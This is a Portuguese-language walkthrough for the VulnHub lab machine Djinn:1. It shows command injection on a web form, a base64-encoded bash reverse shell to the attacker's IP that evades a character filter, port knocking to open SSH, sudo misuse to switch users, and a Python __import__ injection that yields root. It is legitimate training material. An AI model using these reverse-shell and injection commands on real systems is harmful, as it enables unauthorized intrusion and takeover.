Link da Maquina: https://www.vulnhub.com/entry/djinn-1,397/
Scan/Enumeracao
Host Discovery
- Com o arp-scan descobrimos que o nosso alvo esta no ip 192.168.150.116
1
sudo arp-scan -I eth1 192.168.150.0/24
Port Discovery
- Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 03 delas abertas. 21, 1334 e 7331
1
sudo nmap -n -T5 -p- 192.168.150.116
Port Scan
- Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 21,1337,7331 192.168.150.116
- Porta 21: vsftpd 3.0.3
- Porta 1337: waste
- Porta 7331: Werkzeug httpd 0.16.0 (Python 2.7.15+)
Exploracao
FTP
- O nmap nos mostrou que temos acesso ao FTP como “anonymous”. Agora vamos logar no ftp… Algo deu errado com o cliente ftp normal… Nao estava conseguindo listar os arquivos, dava um erro “500 Illegal PORT command.”. Para solucionar esse problema baixei outro cliente ftp: ncftp. Temos 03 arquivos no ftp… entao vamos baixa-los
1
ncftp 192.168.150.116
- Lendo os 03 arquivos que pegamos do ftp
- No arquivo creds.txt temos uma credencial: nitu:81299
- No arquivo message.txt: E uma mensagem, para o @nitish81299, informando que alguem ira sair de ferias para ele nao baguncar nada
- No arquivo game.txt: A mensagem diz que deixaram um jogo configurado na porta 1337, caso consiga chegar ate o ultimo nivel ganhara um premio
- Conseguimo uma credencial, porem nao temos nada para poder logar… Vamos interagir com o jogo que o usuario deixou na mensagem
Game Time - Porta 1337
- Ja tinhamos achado essa porta no Scan e agora com a dica da mensagem que nos lemos vamos interagir com o jogo:
1
nc 192.168.150.116
- Ao entrar no jogo temos uma mensagem dizendo que se respondermos as 1000 perguntas corretamente ganharemos um presente. Respondemos algumas para veriricar o comportamento da aplicacao… mas responder as 1000 perguntas e muita coisa, vamos perder muito tempo… Poderiamos fazer tambem um script pra poder automatizar essas resposta, mas isso iria demorar tambem. Vamos deixar essa aplicacao para depois, se nao encontrarmos mais nada voltamos para ela… Uma dica importante para deixar de lado essa aplicacao e o proprio nome dela waste (desperdicio)
Werkzeug - Porta 7331
Browser
- No scan vimos que se trata de uma aplicacao WEB. Entao vamos acessa-la pelo browser. Nao encontramos nada de interesse na pagina
Fuzzy
- Vamos fazer um fuzzy, para tentar descobrir mais alguma coisa. Conseguimos achar dois diretorios /genie e /wish
1
gobuster dir -u http://192.168.150.116:7331/ -w /usr/share/wordlists/dirb/big.txt
- Na pagina /genie temos:
- Na /wish tem um texto que dizendo que podemos pedir que ele ira realizar o nosso desejo.
RCE
- Vamos tentar mandar um comando para verificar se temos RCE
- Enviamos o comando “whoami” e obtivemos resposta, ou seja, temo RCE
Agora vamos deixar uma porta escutando na nossa maquina kali e enviar um “reverse shell” para conseguir um shell do alvo
Tentamos enviar varios comandos de reverse shell mas parece que todos estao sendo filtrados. A aplicacao deve estar filtrando algum caractere…
1
bash -i >& /dev/tcp/192.168.150.110/443 0<&1
Burp
- Vamos para o Burp Suite para analisar melhor o que esta acontecendo. Chegamos a conclusao que a aplicacao esta de fato filtrando alguns caracteres, um dele e o “/”
Wfuzz - Verificar Badchars
- Como ja sabemos que existe um filtro para alguns caracteres, vamos rodar o wfuzz para encontrar quais sao os nossos badchars. Econtramos essa solucao no blgo do 0x4rt3mis
1
wfuzz -c --hh 231,385 -w /usr/share/wordlists/SecLists/Fuzzing/special-chars.txt -d 'cmd=FUZZ' -u http://192.168.150.116:7331/wish
- -c : Colorido
- –hh 231 : Aqui tivemos dificuldade em compreender qual o filtro usar. Nesse caso, como ja sabiamos que o “/” e um badchar filtramos para pegar todos os caracteres que sao “273 Ch”
- -w : wordlist
- -d : postdata
- -u : URL
Shell Reverso
Os principais caracteres que usamos para um reverse shell estao sendo filtrados. Uma solucao, ja que o “ ” nao esta sendo filtrado, e concatenar comandos e converter o nosso codigo malicioso para base64, e descodificar no alvo… - Primeiramente vamos codificar o nosso codigo malicioso para base64
1
2
rbscheat -i 192.168.150.110:443 -l bash
echo "bash -i >& /dev/tcp/192.168.150.110/443 0<&1" | base64
- Agora vamos montar o comando para decodificar o base64
1
echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMTAvNDQzIDA8JjEK" | base64 -d
- Vamos mandar o comando que montamos agr na pagina para pegarmos o shell reverso. Para pegar o shell temos que deixar uma porta escutando na nossa maquina kali
1
echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMTAvNDQzIDA8JjEK" | base64 -d | bash
- Temos Shell de um usuario comum!
Escalacao de Privilegio
Arquivos e diretorios
- Listando os diretorios do diretorio em que caimos qaundo conseguimos pegar o shell
- Verificando o arquivo “app.py” temos o script da aplicacao que executa comandos na pagina web. No codigo podemos observar os caracteres que estao sendo filtrados. conseguimos ver tambem que exite um arquivo /home/nitish/.dev/creds.txt, de acordo com seu nome sugestivo, o conteudo deve ser uma credencial.
- Lendo o arquivo temos uma credencial nitish:p4ssw0rdStr3r0n9
Conexoes
- Seguindo a metodologia, depois de nao achar nada interessante, vamos verificar as conexoes da maquina. Podemos observar que a porta 22 esta aberta, estranho… nao apareceu no scan
- Vamos escanear novamente… Engracado que agora apareceu. Nao sei o porque dela nao ter aparecido antes. Mas como podemos ver ela esta filtrada, com base na nossa experiencia, essa porta 22 pode ta sendo filtrada por um “port knocking”
Port Knock
Port Knock, resumindo… e uma tecnica utilizada para que o usuario consiga abrir e fechar uma porta utilizando uma sequencia de outras portas. Essa tecnica tem como objetivo fechar as portas que nao precisam ficar abertas o tempo todo, dificultando o port discovery de possiveis atacantes.
Vamos tirar a prova real se esta sendo utilizado essa tecnica verificando os processos. Bingo… o processo esta rodando
1
ps -aux | grep knock
- Agora que ja sabemos que o port knock esta sendo utilizado vamos dar uma olhada nas suas configuracoes. No arquivo /etc/knockd.conf coseguimos verificar quais sao as configuracoes do servico
- Para abrir: 1356, 6784, 3409
- Para fechar: 3409, 6784, 1356
- Vamos interagir com as portas 1356, 6784, 3409, nessa sequencia, para liberar a porta 22. Para ficar mais didatico, escaniei a porta 22 antes de interagir com a sequencia de portas e depois escaniei novamente para verificar se ela realemnte foi aberta
1
2
3
sudo nmap -n -T5 -p 22 192.168.150.116
knock 192.168.150.116 1356 6784 3409
sudo nmap -n -T5 -p 22 192.168.150.116
SSH
- Vamos utilizar as credenciais que encontramos no arquivo creds.txt,nitish:p4ssw0rdStr3r0n9, que estava dentro de um dos diretorios do usuario nitish
1
ssh nitish@192.168.150.116
Usuario Nitish
- De inicio procuramos por arquivos que tem permissao SUID
1
find / -type f -perm -4000 2> /dev/null | fgrep -v proc
- Verificamos o que conseguimos executar com o sudo. Podemos ver no resultado que e possivel executar o comando usr/bin/genie como o usuario “sam”
1
sudo -l
- Vamos verificar o que esse programa pode fazer. Parece que conseguimos executar comando atraves dele…
- Tentamos varias coisas com o genie dessa forma, porem nao tivemos sucesso em nenhuma. Segue um exeplo das tentativas
- Ja que nao saimos do lugar ate agora vamos verificar a “man page” desse programa
- Essa opecao “-cmd” nao utilizamos ainda, ela nao apareceu na “-help”. Ao passar um comando com essa opcao o programa nos devolve o shell do ususario sam
1
sudo -u sam /usr/bin/genie -cmd whoami
Usuario SAM
- O usuario sam pode executar /root/lago como root.
- Esse programa /root/lago pode fazer algumas coisas, como ler arquivos e outras coisas… Inicialmente nao conseguimos nada com ele
Verificando o /home/sam temos alguns arquivos. Primeiramente o “.sudo_as_admin_successful” chamou atencao, mas ele nao tem nada, como podemos ver… Olhando com mais calma temos o arquivos .pyc. Arquivos com essa extencao sao binarios feitos em python, como vimos no /opt/80 quando estavamos com o usuario nitish
Vamos mandar esse arquivos para a nossa maquina para analisarmos melhor…
1
2
3
python3 -m http.server 8080 ### No alvo
wget 192.168.150.116:8080/.pyc ### Na kali
md5sum .pyc ### Nos dois
- Com o binario na nossa maquina podemos tentar verificar do que se trata… Obesevamos, em meio a tanta bagunca, que algumas strings sao exatamente aquelas que aparecem no programa “/root/lago”, que temos permissao de execucao como root. Entao podemos inferir que este binario seja parte do programa
- Vamos descompilar esse binario para verificar o que ele faz de fato… Para isso vamos utilizar o site decompiler.com. Verificando o codigo da aplicacao vemos que na funcao “guessit()” tem uma condicao, caso o valor seja igual a “num” a aplicacao retornara um shell
- Booom, entao como podemos executar o programa como root e sabemos que ele retorna um shell… vamos testar!
- Show de bola, agora temos um shell de root!
Flag
Flag NITISH
Flag ROOT
Bonus
- Lendo o arquivo p0rt5 no diretorio /opt/1337/ ele nos da uma dica das portas do port knock
Para questao de registro, achei no blog do 0x4rt3mis um script para automatizar as 1000 respostas do Game Time
Esse e o mais interessante… Como sabemos que a aplicacao da porta 1337 e feita em python podemos importar o modulo e executar comandos nele
1
__import__('os').system('id')
- Dessa forma podemos utilizar para nos enviar um shell reverso do usuario root ou ate chamar um bash e viraremos root
1
__import__('os').system('/bin/sh')